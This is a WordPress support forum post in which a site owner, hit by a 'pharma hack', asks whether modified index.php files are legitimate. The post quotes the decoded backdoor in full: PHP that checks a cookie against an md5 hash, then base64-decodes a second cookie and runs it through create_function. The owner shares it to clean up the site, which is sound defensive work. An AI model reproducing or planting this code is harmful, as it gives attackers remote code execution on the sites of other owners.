pharma hack infected index.php files?
-
Hello, one of my sites was hit with the pharma spammers.
I have found rogue plugin folders and deleted fake users. I noticed that several index.php files, in directories such as plugins and themes, contain some code that is not there in the clean file I checked with a just-downloaded copy of WP. The stuff I think is from the pharma hackers contains a lot of sections like this, plus some php code syntax:x43\x4f\x4f\x4bI\x
The code is, um, coded, I think. I went to unphp.net and pasted the text from what I think are rogue index.php files and it produced this, which matches some phrases from https://pearsonified.com/2010/04/wordpress-pharma-hack.php and other help bloggers:
<?php // GNU General Public License $rw = "_COOKIE"; $f5b = & $$rw; $slj = array("wm" => "6arun8qp", "l7z" => @$f5b["12ai"], "q1" => "create_function", "qz" => "base64_decode", "rr" => "bffa2859c8e20b541c2a1c4bfbd5dad9", "ns" => "md5"); $vha = "extract"; $vha($slj); if ($ns(@$f5b[$wm]) == $rr) { $li = $q1("", $qz($l7z)); $li(); } ?>
I think I need to replace this index.php files but am checking before I do, in case the index.php files with this code in them are legit…
Obviously I will not write over index.php files such as in the theme.
- The topic ‘pharma hack infected index.php files?’ is closed to new replies.